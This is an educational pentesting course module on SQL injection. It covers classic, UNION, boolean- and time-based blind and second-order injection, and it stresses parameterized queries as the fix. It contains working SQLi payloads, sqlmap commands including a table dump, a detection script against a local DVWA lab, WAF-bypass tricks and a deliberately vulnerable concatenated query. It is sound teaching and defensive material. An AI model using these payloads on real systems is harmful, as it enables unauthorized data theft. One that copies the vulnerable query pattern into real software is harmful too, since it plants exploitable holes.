Skip to content

Module 04: SQL Injection

← Module 03: Web Application Security | Topic Home | Next: XSS and Client-Side →


Status Difficulty Time

SQL injection is the textbook example of why trusting user input is dangerous — understanding it in depth teaches the general principle that prevents entire vulnerability classes.

[!NOTE] Stub Module — Full theory content will be expanded in a future update.


Table of Contents

  1. Overview
  2. Prerequisites
  3. Objectives
  4. Theory
  5. Key Concepts
  6. Examples
  7. Common Pitfalls
  8. Cross-Links
  9. Summary

Overview

SQL injection (SQLi) has been the #1 or #2 web vulnerability for over two decades and remains stubbornly prevalent despite being well-understood and having well-known fixes. The reason for its persistence is not ignorance — it is the gap between knowing what SQLi is and actually building applications that never have it.

This module covers all major SQLi types: classic (error-based), boolean-based blind, time-based blind, and second-order injection. You will understand not just how to detect and exploit SQLi in authorized environments, but why it exists and how parameterized queries eliminate it entirely. The defensive perspective is central: you must understand the fix as deeply as you understand the attack.


Prerequisites

  • [[pentesting-security/modules/03_web-application-security]] — OWASP overview, Burp Suite basics
  • Basic SQL knowledge (SELECT, WHERE, JOIN, UNION) — you must be able to read SQL queries

Objectives

By the end of this module, you will be able to:

  1. Explain why SQL injection exists at the code level — the difference between data and code in SQL queries
  2. Identify SQL injection entry points in a web application using manual testing
  3. Demonstrate classic (error-based), boolean-based blind, and time-based blind SQLi against DVWA
  4. Use sqlmap in an authorized context to automate SQL injection discovery
  5. Explain and implement parameterized queries as the primary prevention technique
  6. Describe how WAFs attempt to block SQLi and why WAF bypass is possible
  7. Conduct responsible SQLi testing without extracting sensitive data unnecessarily

Theory

Why SQL Injection Exists

SQL injection exists because of a fundamental mistake: mixing code and data. When a web application constructs a SQL query by concatenating user-supplied strings, the database cannot tell the difference between the intended query structure and attacker-supplied SQL code.

# VULNERABLE — string concatenation creates SQLi
username = request.form['username']  # attacker controls this
password = request.form['password']

# This constructs a string that the database executes as SQL
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"

# If username = admin' --
# The query becomes:
# SELECT * FROM users WHERE username='admin' --' AND password='anything'
# The -- comments out the password check — authentication bypassed
# SAFE — parameterized query: data is NEVER interpreted as SQL code
import sqlite3

conn = sqlite3.connect('app.db')
cursor = conn.cursor()

# Parameters are passed separately — the DB driver handles escaping
# There is NO WAY for user input to become SQL code with this pattern
cursor.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, password)
)
result = cursor.fetchone()

The key insight: with parameterized queries (also called prepared statements), the SQL query structure is compiled once. The parameters are bound as data — they are never interpreted as SQL syntax regardless of their content. An attacker sending ' OR '1'='1 just looks up a user whose username is literally ' OR '1'='1 — which doesn't exist.

Types of SQL Injection

Classic / Error-Based SQL Injection: The database returns error messages that reveal information about its structure and data. Easiest to detect and exploit. The attacker reads the error message to understand the database schema.

Input: ' (single quote)
Response: "You have an error in your SQL syntax near '''"
→ Confirms SQL injection vulnerability; MySQL syntax error format visible

UNION-Based SQL Injection: Combines the results of the original query with an attacker-crafted query using UNION. Requires: same number of columns as original query; compatible data types.

-- Determine column count
' ORDER BY 1--   (no error)
' ORDER BY 2--   (no error)
' ORDER BY 3--   (error → 2 columns)

-- Extract database version
' UNION SELECT version(), user()--

-- Extract table names
' UNION SELECT table_name, NULL FROM information_schema.tables--

Boolean-Based Blind SQL Injection: The application returns different content for true vs. false conditions — no error message, no visible data extraction. The attacker infers information one bit at a time.

# The attacker sends two requests:
# True condition:  1=1 (always true)
# False condition: 1=2 (always false)
# If the responses differ → SQLi confirmed

# Then to extract the database name character by character:
# ' AND SUBSTRING(database(),1,1)='a'--  (is the first character 'a'?)
# ' AND SUBSTRING(database(),1,1)='b'--  (is the first character 'b'?)
# ... repeat for each character position and each character value

Time-Based Blind SQL Injection: No visual difference in responses. The attacker uses time delays to infer true/false:

-- MySQL: If admin user exists, delay 5 seconds
' AND (SELECT SLEEP(5) FROM users WHERE username='admin')--

-- If response takes ~5 seconds: condition is TRUE
-- If response is immediate: condition is FALSE

Second-Order SQL Injection: User input is stored safely in the database but then used unsafely in a later query. The initial storage looks safe; the vulnerability manifests when the stored data is retrieved and used. Example: registering a username of admin'--, which is stored safely, but then used in a password change query without parameterization.

Defensive Measures

Primary Defense: Parameterized Queries / Prepared Statements Every modern database client library supports parameterized queries. There is no excuse not to use them. They eliminate SQLi completely for the parameterized fields.

Secondary Defense: Stored Procedures When implemented correctly (not concatenating in the procedure), stored procedures provide a layer of abstraction between the application and raw SQL.

Additional Defenses: - Least privilege: the database user account for the web app should have only SELECT/INSERT/ UPDATE/DELETE on necessary tables — no DROP, no GRANT, no access to system tables - Input validation: validates format/type but is NOT a replacement for parameterization - WAF (Web Application Firewall): can block known SQLi patterns but can be bypassed; not a primary defense

sqlmap — Authorized Automated Testing

sqlmap automates SQLi detection and exploitation. It is a legitimate professional tool when used with authorization.

# Basic scan of a URL parameter (DVWA, authorized)
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=YOUR_SESSION_ID; security=low"

# List databases
sqlmap -u "..." --dbs

# List tables in a database
sqlmap -u "..." -D dvwa --tables

# Dump a table (be cautious — in real pentests, minimize data extraction)
sqlmap -u "..." -D dvwa -T users --dump

# Risk/level flags (higher = more aggressive, more noise)
# Default: --level=1 --risk=1 (start here)
# Maximum: --level=5 --risk=3 (use carefully in authorized tests)

[!WARNING] In authorized penetration tests of real applications, minimize data extraction via SQLi. You need to prove the vulnerability exists and show the impact — not exfiltrate the entire database. Extracting customer PII unnecessarily may itself be a regulatory violation even with authorization.


Key Concepts

Parameterized Query — A SQL statement where user-supplied values are bound as parameters rather than concatenated into the query string. The query structure is compiled separately from the data. This is the correct fix for SQL injection.

UNION Attack — An SQL injection technique that appends additional SELECT queries to the original using the UNION operator, allowing extraction of data from other tables.

WAF Bypass — Techniques to evade Web Application Firewall signature detection. Examples: URL encoding (%27 instead of '), case variation (SeLeCt instead of SELECT), comment insertion (SEL/**/ECT), using alternative syntax. WAF bypass demonstrates why WAFs are not a primary defense.

Out-of-Band SQLi — A less common technique where data is exfiltrated through a separate channel (DNS requests, HTTP requests to an attacker-controlled server) rather than through the application's response. Used when in-band techniques are blocked.


Examples

Example 1: Testing for SQLi in DVWA

# Simple SQLi test using Python requests (against local DVWA)
# This demonstrates the detection concept used by tools like sqlmap
import requests

session = requests.Session()

# First, log in to DVWA
session.post("http://localhost/login.php", data={
    "username": "admin",
    "password": "password",
    "Login": "Login"
})

# Set security level to low
session.get("http://localhost/security.php?seclev_submit=Submit&security=low")

# Now test the SQLi form
base_url = "http://localhost/vulnerabilities/sqli/"
cookies = {"security": "low"}

# Test 1: Normal input
r1 = session.get(f"{base_url}?id=1&Submit=Submit")
print(f"Normal input: {len(r1.text)} bytes")

# Test 2: SQL quote — triggers error in vulnerable app
r2 = session.get(f"{base_url}?id=1'&Submit=Submit")
print(f"Single quote: {len(r2.text)} bytes")
if "SQL syntax" in r2.text or "mysql_fetch" in r2.text:
    print("[!] Potential SQL injection — error message leaked")

# Test 3: Boolean true/false comparison
r3 = session.get(f"{base_url}?id=1 AND 1=1&Submit=Submit")
r4 = session.get(f"{base_url}?id=1 AND 1=2&Submit=Submit")
if len(r3.text) != len(r4.text):
    print("[!] Boolean-based SQLi confirmed — different response lengths")

Common Pitfalls

Pitfall 1: Thinking input validation prevents SQLi. Blacklisting single quotes or SQL keywords is not a reliable defense. Attackers have countless encoding and syntax variations. Parameterized queries are the only reliable defense.

Pitfall 2: Extracting more data than necessary to prove impact. In authorized tests, you prove the vulnerability exists with minimal data exposure. "I can extract the users table" is demonstrated with one or two rows — not a full dump of all customer records.

Pitfall 3: Missing second-order injection. Testing only form inputs at the time of injection misses stored payloads that trigger in different application workflows. A complete SQLi assessment traces data flow through the entire application.


  • [[pentesting-security/modules/03_web-application-security]] — OWASP A03: Injection overview
  • [[pentesting-security/modules/08_exploitation-basics]] — Burp Suite for manual SQLi testing
  • [[pentesting-security/modules/11_bug-bounty-program]] — Writing SQLi bug bounty reports with CVSS scoring

Summary

  • SQL injection exists because user input is mixed with SQL code — parameterized queries fix this completely
  • Types: classic (error-based), UNION-based, boolean blind, time-based blind, second-order
  • Detection: insert single quote, observe for errors or behavioral differences
  • sqlmap automates SQLi testing; use it only in authorized contexts
  • WAF bypass is possible — WAFs are not a primary defense against SQLi
  • The fix is always parameterized queries; stored procedures (done correctly) also work
  • In real pentests, prove impact with minimal data extraction — do not dump entire databases